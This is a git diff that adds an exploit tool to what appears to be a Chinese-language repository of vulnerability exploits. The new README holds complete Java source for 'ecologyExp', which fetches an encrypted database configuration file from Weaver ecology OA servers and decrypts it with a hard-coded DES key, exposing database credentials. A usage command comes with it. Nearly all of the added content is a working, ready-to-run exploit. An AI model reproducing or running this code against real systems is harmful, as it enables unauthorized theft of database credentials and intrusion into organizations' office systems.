diff --git a/README.md b/README.md
index 126a7a5..5082cbc 100644
--- a/README.md
+++ b/README.md
@@ -80,6 +80,7 @@
 - [CVE-2019-11043-PHP远程代码执行漏](./CVE-2019-11043)
 - [ThinkCMF漏洞全集和](./ThinkCMF漏洞全集和.md)
 - [CVE-2019-7609-kibana低于6.6.0未授权远程代码命令执行](./CVE-2019-7609-kibana低于6.6.0未授权远程代码命令执行.md)
+- [ecologyExp.jar-泛微ecology OA系统数据库配置文件读取](./tools/ecologyExp.jar)
 
 ## 提权辅助相关
 
diff --git a/tools/ecologyExp.jar/README.md b/tools/ecologyExp.jar/README.md
new file mode 100644
index 0000000..81eb7a7
--- /dev/null
+++ b/tools/ecologyExp.jar/README.md
@@ -0,0 +1,70 @@
+# ecologyExp.jar
+泛微oa数据库配置文件读取
+java -jar ecologyExp.jar http://127.0.0.1
+
+源码
+package com.test;
+
+import org.apache.http.HttpEntity;
+import org.apache.http.client.methods.CloseableHttpResponse;
+import org.apache.http.client.methods.HttpGet;
+import org.apache.http.impl.client.CloseableHttpClient;
+import org.apache.http.impl.client.HttpClientBuilder;
+import org.apache.http.util.EntityUtils;
+
+import javax.crypto.Cipher;
+import javax.crypto.SecretKey;
+import javax.crypto.SecretKeyFactory;
+import javax.crypto.spec.DESKeySpec;
+import java.security.SecureRandom;
+
+public class ReadDbConfig {
+    private final static String DES = "DES";
+    private final static String key = "1z2x3c4v5b6n";
+
+    public static void main(String[] args) throws Exception {
+        if(args[0]!=null&& args[0].length() !=0){
+            String url = args[0]+"/mobile/DBconfigReader.jsp";
+            System.out.println(ReadConfig(url));
+        }else{
+            System.err.print("use: java -jar ecologyExp  http://127.0.0.1");
+        }
+    }
+    
+    private static String ReadConfig(String url) throws Exception {
+        CloseableHttpClient httpClient = HttpClientBuilder.create().build();
+        HttpGet httpGet = new HttpGet(url);
+        CloseableHttpResponse response = httpClient.execute(httpGet);
+        HttpEntity responseEntity = response.getEntity();
+    
+        byte[] res1 = EntityUtils.toByteArray(responseEntity);
+    
+        byte[] data = subBytes(res1,10,res1.length-10);
+    
+        byte [] finaldata =decrypt(data,key.getBytes());
+    
+        return (new String(finaldata));
+    }
+    
+    private static byte[] decrypt(byte[] data, byte[] key) throws Exception {
+    
+        SecureRandom sr = new SecureRandom();
+        DESKeySpec dks = new DESKeySpec(key);
+        SecretKeyFactory keyFactory = SecretKeyFactory.getInstance(DES);
+        SecretKey securekey = keyFactory.generateSecret(dks);
+        Cipher cipher = Cipher.getInstance(DES);
+        cipher.init(Cipher.DECRYPT_MODE, securekey, sr);
+    
+        return cipher.doFinal(data);
+    }
+    
+    public static byte[] subBytes(byte[] src, int begin, int count) {
+        byte[] bs = new byte[count];
+        System.arraycopy(src, begin, bs, 0, count);
+        return bs;
+    }
+
+}
+
+源： https://github.com/ianxtianxt/ecologyExp.jar 
+
diff --git a/tools/ecologyExp.jar/ecologyExp.jar b/tools/ecologyExp.jar/ecologyExp.jar
new file mode 100644
index 0000000..6733948
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